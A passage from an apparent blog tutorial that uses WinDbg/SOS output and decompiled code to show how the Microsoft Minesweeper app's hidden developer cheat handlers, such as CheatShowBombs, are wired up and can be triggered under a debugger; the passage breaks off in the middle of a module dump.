MinesweeperUI.Tutorial.Actions.RunAdventureFirstBoardAction

0fab8fd0 0x02000115  
MinesweeperUI.Tutorial.Actions.RunEasyModeWithHelperAction

0fab901c 0x02000116  
MinesweeperUI.Tutorial.ShowMineTutorialAction

0fab9050 0x02000117  
MinesweeperUI.Tutorial.HighLightTileTutorialAction

0fab90b4 0x02000118  
MinesweeperUI.Tutorial.AddTutorialAnimationAction

0fab90e8 0x02000119  
MinesweeperUI.Tutorial.TutorialActionFactory

0fab9114 0x0200011a  
MinesweeperUI.Tutorial.DefaultTutorialAction

0faa962c 0x0200011b  
MinesweeperUI.Tutorial.ITutorialSession

0fab4314 0x0200011c MinesweeperUI.Tutorial.EmptyTutorialSession

0faa96b8 0x0200011d  
MinesweeperUI.Tutorial.IHintController

0fab916c 0x0200011e  
MinesweeperUI.Tutorial.ClassicHintController

0fab9274 0x0200011f  
MinesweeperUI.Tutorial.TutoriaForceCloseEvent

0fab92ac 0x02000120  
MinesweeperUI.Tutorial.TutorialStepActivationEvent

0fab1a1c 0x02000121  
MinesweeperUI.Tutorial.TutorialSessionData

0fab91dc 0x02000122  
MinesweeperUI.Tutorial.TutorialSession

0faa98a4 0x02000123  
MinesweeperUI.Tutorial.TutorialsId

0faa98dc 0x02000124  
MinesweeperUI.Tutorial.ClassicTutorialSteps

0faa9914 0x02000125  
MinesweeperUI.Tutorial.AdventureTutorialSteps

0fab92e4 0x02000126  
MinesweeperUI.Tutorial.TutorialActionDesc

0fab1a54 0x02000127  
MinesweeperUI.Tutorial.TutorialStepDesc

0faa99a4 0x02000128  
MinesweeperUI.Tutorial.HideTutorialMessage

0faa9a08 0x02000129  
MinesweeperUI.Tutorial.ShowTutorialMessage

0faa9a6c 0x0200012a  
MinesweeperUI.Tutorial.SaveTutorialStep

0fab4240 0x0200012b  
MinesweeperUI.Tutorial.TutorialManager

0fab9350 0x0200012c  
MinesweeperUI.ContentLoadingController+<LoadModeContent>d\_\_0

0fab93a4 0x0200012d  
MinesweeperUI.ContentLoadingController+<SetModeTheme>d\_\_3

0fab9410 0x0200012e  
MinesweeperUI.data.Awards.AchievementManager+<LoadLocalAchievementsDesc>d\_\_0

0fab948c 0x0200012f  
MinesweeperUI.data.Awards.AchievementManager+<AddAchievements>d\_\_9

0fab94c8 0x02000130  
MinesweeperUI.data.Awards.AchievementManager+<>c\_\_DisplayClasse

0fab9530 0x02000131  
MinesweeperUI.data.Awards.AchievementManager+<AwardMedal>d\_\_10

0fab1720 0x02000132  
MinesweeperUI.data.Awards.AchievementManager+<>c\_\_DisplayClass19

0fab9560 0x02000133  
MinesweeperUI.data.Awards.AchievementManager+<>c\_\_DisplayClass1d

0fab95c8 0x02000134  
MinesweeperUI.data.Awards.AchievementManager+<AwardXBoxLiveAchievement>d\_\_1f

0fab1758 0x02000135  
MinesweeperUI.data.Awards.AchievementManager+<>c\_\_DisplayClass2c

0fab964c 0x02000136  
MinesweeperUI.data.Awards.AchievementManager+<>c\_\_DisplayClass2c+<<UpdateAchievementTileOnAwardPage>b\_\_2b>d\_\_2e

0fab96a0 0x02000137  
MinesweeperUI.data.Awards.AchievementManager+<GetSubTile>d\_\_31

0fab1790 0x02000138
MinesweeperUI.data.Awards.AchievementManager+<>c\_\_DisplayClass36

0fab9714 0x02000139  
MinesweeperUI.data.Awards.AchievementManager+<>c\_\_DisplayClass36+<<UpdateAchievementTileItemOnHomeScreen>b\_\_35>d\_\_38

0fab97a0 0x0200013a  
MinesweeperUI.data.Awards.AchievementManager+<OnAchievementTileCreating>d\_\_3d

0fab9804 0x0200013b  
MinesweeperUI.data.Awards.AchievementManager+<GetAchievementStatus>d\_\_42

0fab17bc 0x0200013c  
MinesweeperUI.data.Awards.AchievementManager+<>c\_\_DisplayClass46

0fab9850 0x0200013d
MinesweeperUI.data.Awards.AchievementManager+<InitializeXboxAchievements>d\_\_4a

0fab98bc 0x0200013e  
MinesweeperUI.data.Awards.AchievementManager+<OnAllAchievementTileCreating>d\_\_51

0fab9940 0x0200013f  
MinesweeperUI.data.Awards.AwardsManager+<AddAwards>d\_\_0

0faa9eec 0x02000140  
<PrivateImplementationDetails>\{A0AAC8B9-A758-4B3B-89C7-DB799DF859F9\}

0fab2160 0x02000141  
MinesweeperUI.data.Awards.Types.CatchedClassicPattern+<>c\_\_DisplayClass1

0fab2fa0 0x02000142  
MinesweeperUI.data.Awards.Types.RemoveQuesAndLose+<>c\_\_DisplayClass1

0fab9994 0x02000143  
MinesweeperUI.data.MinerApp+<<Initialize>b\_\_0>d\_\_1

0fab2484 0x02000144  
MinesweeperUI.data.Sentient.MinesweeperSentientController+<>c\_\_DisplayClass3

0fab9a18 0x02000145  
MinesweeperUI.data.Session.GameModeStorage+<LoadGameModeSettings>d\_\_0

0fab9a6c 0x02000146  
MinesweeperUI.data.Session.GameModeStorage+<SaveGameModeSettings>d\_\_6

0fab9ad8 0x02000147  
MinesweeperUI.data.Session.UserSession+<SaveGameSettings>d\_\_1

0fab9b5c 0x02000148  
MinesweeperUI.data.Session.UserSession+<LoadGameSettings>d\_\_5

0fab9bb0 0x02000149  
MinesweeperUI.data.Session.UserSession+<SaveGameModeData>d\_\_a

0fab9c34 0x0200014a  
MinesweeperUI.data.Session.UserSession+<LoadGameModeData>d\_\_d

0fab9c88 0x0200014b  
MinesweeperUI.data.Session.UserSession+<LoadGameProgress>d\_\_10

0fab9cf4 0x0200014c  
MinesweeperUI.data.Session.UserSession+<LoadGameProgressInternal>d\_\_13

0fab2a10 0x0200014d  
MinesweeperUI.data.Utils.Statistics.ClassicStatisticHelper+<>c\_\_DisplayClass7

0fab9d60 0x0200014e  
MinesweeperUI.data.Utils.ClassicStatisticMergeOperation+<Save>d\_\_0

0fab9dcc 0x0200014f  
MinesweeperUI.data.Utils.MergeOldToNewStatistics+<Execute>d\_\_0

0fab29d8 0x02000150  
MinesweeperUI.data.Utils.StatisticUtils+<>c\_\_DisplayClass1

0fab9e50 0x02000151  
MinesweeperUI.GameView+<EngineOnGameOverEvent>d\_\_1

0fab9ebc 0x02000152  
MinesweeperUI.GameView+<MinesweeperEngineOnChangeState>d\_\_8

0fab7084 0x02000153  
MinesweeperUI.Livetiles.LivetileCommands+<>c\_\_DisplayClass4

0fab9f10 0x02000154  
MinesweeperUI.Livetiles.LivetileCommands+<ExpertRemove>d\_\_6

0fab70bc 0x02000155
MinesweeperUI.Livetiles.LivetileCommands+<>c\_\_DisplayClasse

0fab70e8 0x02000156  
MinesweeperUI.Livetiles.LivetileCommands+<>c\_\_DisplayClass12

0fab6ba4 0x02000157  
MinesweeperUI.Modes.Common.Animations.MinerAnimatedSpriteNode+<>c\_\_DisplayClass3

0fab6ff4 0x02000158
MinesweeperUI.Modes.Common.Animations.MinerAnimatedSpriteNode+<>c\_\_DisplayClass7

0fab702c 0x02000159  
MinesweeperUI.Modes.Common.Animations.AdvancedMinerAnimatedSpriteNode+<>c\_\_DisplayClassb

0fab9f58 0x0200015a  
MinesweeperUI.Modes.Gameend.Handlers.ClassicGameendHandler+<>c\_\_DisplayClass2

0fab9fa8 0x0200015b  
MinesweeperUI.Modes.Gameend.Handlers.ClassicGameendHandler+<Execute>d\_\_4

0faba00c 0x0200015c  
MinesweeperUI.Modes.Gameend.Handlers.AdventureGameendHandler+<Execute>d\_\_1

0faba070 0x0200015d
MinesweeperUI.Modes.Gameend.Handlers.DailyChallengeGameendHandler+<Execute>d\_\_1

0faba0d4 0x0200015e  
MinesweeperUI.Modes.Gameend.Handlers.DefaultGameendHandler+<Execute>d\_\_1

0fab63cc 0x0200015f  
MinesweeperUI.Modes.PathFinder.PathFinderEngineView+<>c\_\_DisplayClass9

0faba140 0x02000160  
MinesweeperUI.theme.ThemeSets+<LoadThemeXmlAsync>d\_\_2

0faba1ac 0x02000161  
MinesweeperUI.Tutorial.ClassicHintController+<Hint>d\_\_0

0fab452c 0x02000162  
MinesweeperUI.Tutorial.TutorialManager+<>c\_\_DisplayClass1

Types referenced in this module

MT  
TypeRef Name

\------------------------------------------------------------------------------

604026a4 0x02000001 System.Object

604038c4 0x02000002 System.Enum

603f6770 0x02000003 System.MulticastDelegate

60403898 0x02000005 System.ValueType

5fffc6f4 0x02000008 System.IDisposable

603f7400 0x02000014 System.Action

603f6630 0x02000016 System.EventArgs

60407388 0x02000017  
System.Collections.Generic.List\`1

603f8600 0x02000019  
System.Collections.Generic.Dictionary\`2

603f76c4 0x0200001a System.Threading.Tasks.Task

603f7254 0x02000024 System.IAsyncResult

60403424 0x0200002d System.Type

306d440c 0x02000037  
Windows.Devices.Input.PointerDeviceType

604068dc 0x02000038 System.DateTime

603f51bc 0x02000039 System.Nullable\`1

603f833c 0x0200003a System.Collections.Generic.KeyValuePair\`2

09a09bf8 0x02000045  
Arkadium.GameEngine.Maths.Rectangle

603f4278 0x0200004a System.Random

0f53406c 0x0200004e  
MinerCoreModul.engine.tile.ITile

09a05454 0x02000050  
Arkadium.GameEngine.Maths.Vector2

09a04d9c 0x02000052 Arkadium.GameEngine.Maths.Vector3

603f4420 0x0200006a System.EventHandler

603f6b04 0x0200006b  
System.Threading.CancellationTokenSource

60405538 0x02000071 System.IO.Stream

603fbe54 0x02000074  
System.Runtime.Versioning.TargetFrameworkAttribute

60401e4c 0x02000075 System.Reflection.AssemblyTitleAttribute

60401ecc 0x02000076  
System.Reflection.AssemblyDescriptionAttribute

60401e8c 0x02000077  
System.Reflection.AssemblyConfigurationAttribute

60401f8c 0x02000078  
System.Reflection.AssemblyCompanyAttribute

60401fcc 0x02000079 System.Reflection.AssemblyProductAttribute

60402044 0x0200007a  
System.Reflection.AssemblyCopyrightAttribute

60402084 0x0200007b  
System.Reflection.AssemblyTrademarkAttribute

604020c4 0x0200007e  
System.Reflection.AssemblyFileVersionAttribute

60401b70 0x0200007f System.Diagnostics.DebuggableAttribute

60401c14 0x02000081  
System.Runtime.CompilerServices.CompilationRelaxationsAttribute

604017ec 0x02000082  
System.Runtime.CompilerServices.RuntimeCompatibilityAttribute

60401c7c 0x02000083  
System.Runtime.CompilerServices.ExtensionAttribute

603fadb0 0x02000085  
System.Runtime.CompilerServices.IAsyncStateMachine

603fa324 0x02000086  
System.Runtime.CompilerServices.AsyncVoidMethodBuilder

603c9010 0x0200008d  
System.Runtime.CompilerServices.TaskAwaiter

60402304 0x0200008e System.String

603cd08c 0x0200009b  
System.Runtime.CompilerServices.CompilerGeneratedAttribute

603fa068 0x020000a1  
System.Runtime.CompilerServices.AsyncTaskMethodBuilder

603f82b4 0x020000aa  
System.Collections.IEnumerator

603fc2e8 0x020000ab System.UInt32

603f7400 0x020000b2 System.Action

5fffb5e4 0x020000c4  
System.Collections.IEnumerable

60404904 0x020000cd  
System.Globalization.CultureInfo

60403c54 0x020000e0 System.Int32

60404c54 0x020000e3 System.Text.StringBuilder

60403944 0x020000e4 System.Delegate

51279a10 0x020000e8  
System.Runtime.Serialization.DataContractAttribute

51279c88 0x020000e9  
System.Runtime.Serialization.DataMemberAttribute

603fb3c8 0x020000eb System.Single

603fb5a4 0x020000ec System.Double

60404650 0x020000ee System.Threading.Interlocked

603fa164 0x020000f0  
System.Threading.Tasks.TaskFactory

604015d8 0x020000f6 System.UInt16

603f88cc 0x02000104  
System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken

603fa3a0 0x02000106  
System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal

603f79b4 0x02000108 System.NullReferenceException

60403424 0x02000117 System.Type

60404fcc 0x02000134  
System.Globalization.NumberFormatInfo

603fb2b4 0x02000181 System.Int16

\- Search for **MinesweeperUI.data.MinesweeperCheats** above and get the
Method Table:

**\!dumpmt -md 0fab33bc**

EEClass: 0f989e94

Module: 0f971000

Name: MinesweeperUI.data.MinesweeperCheats

mdToken: 02000030

File:  
C:\Program  
Files\WindowsApps\Microsoft.MicrosoftMinesweeper\_2.2.1401.2303\_x86\_\_8wekyb3d8bbwe\MinesweeperUI-
DP4.DLL

BaseSize:  
0xc

ComponentSize:  
0x0

Slots in VTable: 7

Number of IFaces in IFaceMap: 0

\--------------------------------------

MethodDesc Table

Entry  
MethodDe JIT Name

6030a630 5fff801c PreJIT System.Object.ToString\(\)

602ff750 5fff8024 PreJIT  
System.Object.Equals\(System.Object\)

602ff380 5fff8044 PreJIT  
System.Object.GetHashCode\(\)

602ff040 5fff8058 PreJIT System.Object.Finalize\(\)

0fa513c0 0f996c38 PreJIT  
MinesweeperUI.data.MinesweeperCheats..ctor\(\)

0f9ba728 0f996c10 PreJIT  
MinesweeperUI.data.MinesweeperCheats.PlaceFlagsOnBombs\(\)

0f9ba730 0f996c24 PreJIT  
MinesweeperUI.data.MinesweeperCheats.PlaceQuestionsOnBombs\(\)

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/1803.dbg_5F00_2.png' />

\- Remember that the method below is an **Event Handler** as noted per its
signature, so somewhere in the code this Event is being mapped and usually
this is done earlier:

//  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

private void **CheatShowBombs**\(object sender, RoutedEventArgs e\)

MinesweeperCheats.PlaceFlagsOnBombs\(\);

\- The initialization of handlers usually is done when the object is
initialized so let's check the Public methods which could have been used to
map the handlers:

**InitializeComponent\(\)**

**Connect\(\)**

//  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

\[GeneratedCode\("Microsoft.Windows.UI.Xaml.Build.Tasks",  
" 4.0.0.0"\), DebuggerNonUserCode\]

public void **InitializeComponent**\(\)

if\(this.\_contentLoaded\)

return;

this.\_contentLoaded = true;

Application.LoadComponent\(this, new Uri\("ms-
appx:///MvvmStructure/View/Controls/SettingsControl.xaml"\), 0\);

this.SoundsSlider = \(ExtendedSlider\)base.FindName\("SoundsSlider"\);

this.TsTips = \(ToggleSwitch\)base.FindName\("TsTips"\);

this.TsTimer = \(ToggleSwitch\)base.FindName\("TsTimer"\);

this.TsQuestionMark = \(ToggleSwitch\)base.FindName\("TsQuestionMark"\);

this.TsOneTap = \(ToggleSwitch\)base.FindName\("TsOneTap"\);

this.TsQuickModeChange = \(ToggleSwitch\)base.FindName\("TsQuickModeChange"\);

this.TsUseSwipeInControls =
\(ToggleSwitch\)base.FindName\("TsUseSwipeInControls"\);

this.TsGameEndAnimations =
\(ToggleSwitch\)base.FindName\("TsGameEndAnimations"\);

this.HoldSlider = \(ExtendedSlider\)base.FindName\("HoldSlider"\);

this.btnResetSettings = \(Button\)base.FindName\("btnResetSettings"\);

this.btnResetStat = \(Button\)base.FindName\("btnResetStat"\);

this.cheatsGrid = \(Grid\)base.FindName\("cheatsGrid"\);

this.cheatAwardsList = \(ComboBox\)base.FindName\("cheatAwardsList"\);

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/4265.ILSPY_5F00_4.png' />

//  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

\[GeneratedCode\("Microsoft.Windows.UI.Xaml.Build.Tasks",  
" 4.0.0.0"\), DebuggerNonUserCode\]

public void **Connect**\(int  
connectionId, object target\)

switch\(connectionId\)

case 1:

RangeBase rangeBase = \(RangeBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RangeBaseValueChangedEventHandler>\(new  
Func<RangeBaseValueChangedEventHandler,  
EventRegistrationToken>\(rangeBase.add\_ValueChanged\), new  
Action<EventRegistrationToken>\(rangeBase.remove\_ValueChanged\), new  
RangeBaseValueChangedEventHandler\(this.SoundsValueChanged\)\);

\(\(ExtendedSlider\)target\).add\_ValueChangeComplete\(new  
ExtendedSlider.ValueChangeCompleteHandler\(this.SoundsSliderOnValueChangeComplete\)\);

break;

case 2:

ToggleSwitch toggleSwitch = \(ToggleSwitch\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(toggleSwitch.add\_Toggled\),  
new Action<EventRegistrationToken>\(toggleSwitch.remove\_Toggled\), new  
RoutedEventHandler\(this.TipsOnOffToggled\)\);

break;

case 3:

ToggleSwitch toggleSwitch2 = \(ToggleSwitch\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler,  
EventRegistrationToken>\(toggleSwitch2.add\_Toggled\), new  
Action<EventRegistrationToken>\(toggleSwitch2.remove\_Toggled\), new  
RoutedEventHandler\(this.TimerOnOffToggled\)\);

break;

case 4:

ToggleSwitch toggleSwitch3 = \(ToggleSwitch\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler,  
EventRegistrationToken>\(toggleSwitch3.add\_Toggled\), new  
Action<EventRegistrationToken>\(toggleSwitch3.remove\_Toggled\), new  
RoutedEventHandler\(this.QuestionMarkOnOffToggled\)\);

break;

case 5:

ToggleSwitch toggleSwitch4 = \(ToggleSwitch\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler,
EventRegistrationToken>\(toggleSwitch4.add\_Toggled\),  
new Action<EventRegistrationToken>\(toggleSwitch4.remove\_Toggled\), new  
RoutedEventHandler\(this.OneTapOnOffToggled\)\);

break;

case 6:

ToggleSwitch toggleSwitch5 = \(ToggleSwitch\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler,  
EventRegistrationToken>\(toggleSwitch5.add\_Toggled\), new  
Action<EventRegistrationToken>\(toggleSwitch5.remove\_Toggled\), new  
RoutedEventHandler\(this.QuickChangeOnOffToggled\)\);

break;

case 7:

ToggleSwitch toggleSwitch6 = \(ToggleSwitch\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler,  
EventRegistrationToken>\(toggleSwitch6.add\_Toggled\), new  
Action<EventRegistrationToken>\(toggleSwitch6.remove\_Toggled\), new
RoutedEventHandler\(this.SwipeInControlsOnOffToggled\)\);

break;

case 8:

ToggleSwitch toggleSwitch7 = \(ToggleSwitch\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler,
EventRegistrationToken>\(toggleSwitch7.add\_Toggled\),  
new Action<EventRegistrationToken>\(toggleSwitch7.remove\_Toggled\), new  
RoutedEventHandler\(this.OnOfGameEndAnimationsToggled\)\);

break;

case 9:

RangeBase rangeBase2 = \(RangeBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RangeBaseValueChangedEventHandler>\(new  
Func<RangeBaseValueChangedEventHandler,  
EventRegistrationToken>\(rangeBase2.add\_ValueChanged\), new  
Action<EventRegistrationToken>\(rangeBase2.remove\_ValueChanged\), new  
RangeBaseValueChangedEventHandler\(this.HoldValueChanged\)\);

\(\(ExtendedSlider\)target\).add\_ValueChangeComplete\(new  
ExtendedSlider.ValueChangeCompleteHandler\(this.SoundsSliderOnValueChangeComplete\)\);

break;

case 10:

FrameworkElement frameworkElement = \(FrameworkElement\)target;

WindowsRuntimeMarshal.AddEventHandler<SizeChangedEventHandler>\(new  
Func<SizeChangedEventHandler,  
EventRegistrationToken>\(frameworkElement.add\_SizeChanged\), new  
Action<EventRegistrationToken>\(frameworkElement.remove\_SizeChanged\), new  
SizeChangedEventHandler\(this.OnSize\)\);

ButtonBase  
buttonBase = \(ButtonBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(buttonBase.add\_Click\),  
new Action<EventRegistrationToken>\(buttonBase.remove\_Click\), new  
RoutedEventHandler\(this.OnResetSettingsClick\)\);

break;

case 11:

FrameworkElement frameworkElement2 = \(FrameworkElement\)target;

WindowsRuntimeMarshal.AddEventHandler<SizeChangedEventHandler>\(new  
Func<SizeChangedEventHandler,
EventRegistrationToken>\(frameworkElement2.add\_SizeChanged\),  
new Action<EventRegistrationToken>\(frameworkElement2.remove\_SizeChanged\),  
new SizeChangedEventHandler\(this.OnSize\)\);

ButtonBase  
buttonBase2 = \(ButtonBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(buttonBase2.add\_Click\),  
new Action<EventRegistrationToken>\(buttonBase2.remove\_Click\), new  
RoutedEventHandler\(this.OnResetStatisticClick\)\);

break;

case 12:

ButtonBase buttonBase3 = \(ButtonBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(buttonBase3.add\_Click\),  
new Action<EventRegistrationToken>\(buttonBase3.remove\_Click\), new  
RoutedEventHandler\(this.CheatShowBombs\)\);

break;

case 13:

ButtonBase buttonBase4 = \(ButtonBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(buttonBase4.add\_Click\),  
new Action<EventRegistrationToken>\(buttonBase4.remove\_Click\), new  
RoutedEventHandler\(this.CheatQuestionsOnBombs\)\);

break;

case 14:

ButtonBase buttonBase5 = \(ButtonBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(buttonBase5.add\_Click\),  
new Action<EventRegistrationToken>\(buttonBase5.remove\_Click\), new  
RoutedEventHandler\(this.CheatPlus100FlaggedMines\)\);

break;

case 15:

ButtonBase buttonBase6 = \(ButtonBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(buttonBase6.add\_Click\),  
new Action<EventRegistrationToken>\(buttonBase6.remove\_Click\), new  
RoutedEventHandler\(this.CheatPlus100UncoverSquares\)\);

break;

case 16:

ButtonBase buttonBase7 = \(ButtonBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(buttonBase7.add\_Click\),  
new Action<EventRegistrationToken>\(buttonBase7.remove\_Click\), new  
RoutedEventHandler\(this.CheatPlus50Ladybugs\)\);

break;

case 17:

ButtonBase buttonBase8 = \(ButtonBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(buttonBase8.add\_Click\),  
new Action<EventRegistrationToken>\(buttonBase8.remove\_Click\), new  
RoutedEventHandler\(this.CheatPlus100DestroyedTraps\)\);

break;

case 18:

ButtonBase buttonBase9 = \(ButtonBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(buttonBase9.add\_Click\),  
new Action<EventRegistrationToken>\(buttonBase9.remove\_Click\), new  
RoutedEventHandler\(this.CheatShowPatterns\)\);

break;

case 19:

ButtonBase buttonBase10 = \(ButtonBase\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(buttonBase10.add\_Click\),  
new Action<EventRegistrationToken>\(buttonBase10.remove\_Click\), new  
RoutedEventHandler\(this.CheatAward\)\);

break;

this.\_contentLoaded = true;

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/7242.ILSPY_5F00_5.png' />

\- We want to activate _case 12_ above.

**\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#**

**\#\#\#\# DEMO \#3**

**\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#**

\- So let's setup a breakpoint on the **Connect**\(\) method.

**\!name2ee Minesweeper.exe CheatShowBombs**

Module: 51dc1000

Assembly: Minesweeper.exe

**\!dumpmodule -mt 51dc1000**

Name:  
C:\Program  
Files\WindowsApps\Microsoft.MicrosoftMinesweeper\_2.2.1401.2303\_x86\_\_8wekyb3d8bbwe\Minesweeper.exe

Attributes: PEFile

Assembly:  
006869b0

LoaderHeap: 00000000

TypeDefToMethodTableMap: 51f01008

TypeRefToMethodTableMap: 51dea710

MethodDefToDescMap: 51f011bc

FieldDefToDescMap: 51deb2c0

MemberRefToDescMap: 00000000

FileReferencesMap: 51dc13b0

AssemblyReferencesMap: 51dc13b4

MetaData start address: 51e2b090 \(289932 bytes\)

Types defined in this module

MT TypeDef Name

\------------------------------------------------------------------------------

51dc806c 0x02000002 Minesweeper.App

51ee0220 0x02000003  
Minesweeper.BookmarkConfiguration

51ee0298 0x02000004 Minesweeper.XboxLiveConfiguration

51ee00ec 0x02000005  
Minesweeper.IocRegistrationHelper

51ee02cc 0x02000006  
Minesweeper.IocRegistrationHelper+ThemeUpdateHelper

51dc94d8 0x02000007 Minesweeper.LoaderPage

51ed8b0c 0x02000008 Minesweeper.ActivationState

51ee0158 0x02000009 Minesweeper.MinesweeperGame

51ed8bac 0x0200000a Minesweeper.SuspendReason

51ee58fc 0x0200000b  
Minesweeper.MvvmStructure.Helpers.ExtendedTileItem

51ee61f8 0x0200000c  
Minesweeper.MvvmStructure.Helpers.CollectionTileItem

51ee036c 0x0200000d Minesweeper.MvvmStructure.Helpers.CreditsInfo

51ed8be4 0x0200000e  
Minesweeper.MvvmStructure.Helpers.GamesTileTemplates

51ee6278 0x0200000f  
Minesweeper.MvvmStructure.Helpers.GamesTileItem

51ee62c4 0x02000010  
Minesweeper.MvvmStructure.Helpers.HelpTileConst

51ed8c10 0x02000011  
Minesweeper.MvvmStructure.Helpers.HelpTileConst+HelpIndex

51ed8c48 0x02000012  
Minesweeper.MvvmStructure.Helpers.HelpTileConst+HelpIndexPosition

51ee6334 0x02000013  
Minesweeper.MvvmStructure.Helpers.HelpTileItem

51ed8c80 0x02000014 Minesweeper.MvvmStructure.Helpers.IMinesweeperPopup

51ed8cbc 0x02000015  
Minesweeper.MvvmStructure.Helpers.IScoreBar

51dc88c0 0x02000016  
Minesweeper.MvvmStructure.Helpers.ItemDataTemplateSelector

51ed8cf8 0x02000017  
Minesweeper.MvvmStructure.Helpers.ItemDataTemplateSelector+ItemTemplate

51ed8d44 0x02000018  
Minesweeper.MvvmStructure.Helpers.ObservableRangeCollection\`1

51ee01b0 0x02000019  
Minesweeper.MvvmStructure.Helpers.PinArgumentsHelper

51ed8e80 0x0200001a  
Minesweeper.MvvmStructure.Helpers.RenderingModes

51ed8eb8 0x0200001b  
Minesweeper.MvvmStructure.Helpers.IRenderMode

51ee64e4 0x0200001c  
Minesweeper.MvvmStructure.Helpers.CompositionRendering

51ee5ce0 0x0200001d  
Minesweeper.MvvmStructure.Helpers.StoryboardRendering

51ee502c 0x0200001e  
Minesweeper.MvvmStructure.Helpers.RenderController

51ee5c70 0x0200001f  
Minesweeper.MvvmStructure.Helpers.ScoreBarFactory

51ed8ef8 0x02000020  
Minesweeper.MvvmStructure.Helpers.StatisticsTileTemplates

51ee5888 0x02000021  
Minesweeper.MvvmStructure.Helpers.StatisticTileItem

51ee6528 0x02000022 Minesweeper.MvvmStructure.Helpers.Gradient

51ee655c 0x02000023  
Minesweeper.MvvmStructure.Helpers.TileDataItemFactory

51ed8f24 0x02000024  
Minesweeper.MvvmStructure.Helpers.UiVisualGroupId

51ee65e4 0x02000025  
Minesweeper.MvvmStructure.Model.ModeSettingsDataSourceBase

51ee5a34 0x02000026  
Minesweeper.MvvmStructure.Model.ChooseBoardDataSource

51ee5e9c 0x02000027  
Minesweeper.MvvmStructure.Model.MinesweeperDataSourceBase

51ee6644 0x02000028  
Minesweeper.MvvmStructure.Model.HelpAdventureDataSource

51ee66a0 0x02000029  
Minesweeper.MvvmStructure.Model.HelpAdventureDataSourceZoomedOut

51ee6714 0x0200002a  
Minesweeper.MvvmStructure.Model.DailyChallengePageModel

51ee0324 0x0200002b  
Minesweeper.MvvmStructure.Model.Day0PopupDataSource

51ee679c 0x0200002c Minesweeper.MvvmStructure.Model.HelpDataSource

51ee67f8 0x0200002d  
Minesweeper.MvvmStructure.Model.HelpDataSourceZoomedOut

51ee5a94 0x0200002e  
Minesweeper.MvvmStructure.Model.GamesMenuDataSource

51ee6854 0x0200002f  
Minesweeper.MvvmStructure.Model.HelpAdventureMenuDataSource

51ee68cc 0x02000030  
Minesweeper.MvvmStructure.Model.HelpMenuDataSource

51ee6930 0x02000031  
Minesweeper.MvvmStructure.Model.LeaderboardsMenuDataSource

51ee698c 0x02000032  
Minesweeper.MvvmStructure.Model.ZoomedLeaderboardDataSource

51ee5b30 0x02000033 Minesweeper.MvvmStructure.Model.StatisticsMenuDataSource

51ee5b90 0x02000034  
Minesweeper.MvvmStructure.Model.ThemesMenuDataSource

51ee046c 0x02000035  
Minesweeper.MvvmStructure.Model.GamePageModel

51ee599c 0x02000036  
Minesweeper.MvvmStructure.Model.SettingsModel

51ee0594 0x02000037  
Minesweeper.MvvmStructure.Model.StatisticsPageDataSource

51ee6a20 0x02000038  
Minesweeper.MvvmStructure.Model.TutorialPopupModel

51ee0424 0x02000039  
Minesweeper.MvvmStructure.Service.MinesweeperAwardsService

51ee02f8 0x0200003a
Minesweeper.MvvmStructure.Service.MinesweeperDailyChallengeService

51ee03f8 0x0200003b  
Minesweeper.MvvmStructure.Service.PopupService

51ee4fec 0x0200003c  
Minesweeper.MvvmStructure.Service.SettingsService

51ee6ab4 0x0200003d  
Minesweeper.MvvmStructure.ViewModel.AwardsPageViewModel

51ee0b74 0x0200003e  
Minesweeper.MvvmStructure.ViewModel.ChooseBoardViewModel

51ee0744 0x0200003f  
Minesweeper.MvvmStructure.ViewModel.HelpAdventurePageViewModel

51ee6b48 0x02000040  
Minesweeper.MvvmStructure.ViewModel.DailyChallengePageViewModel

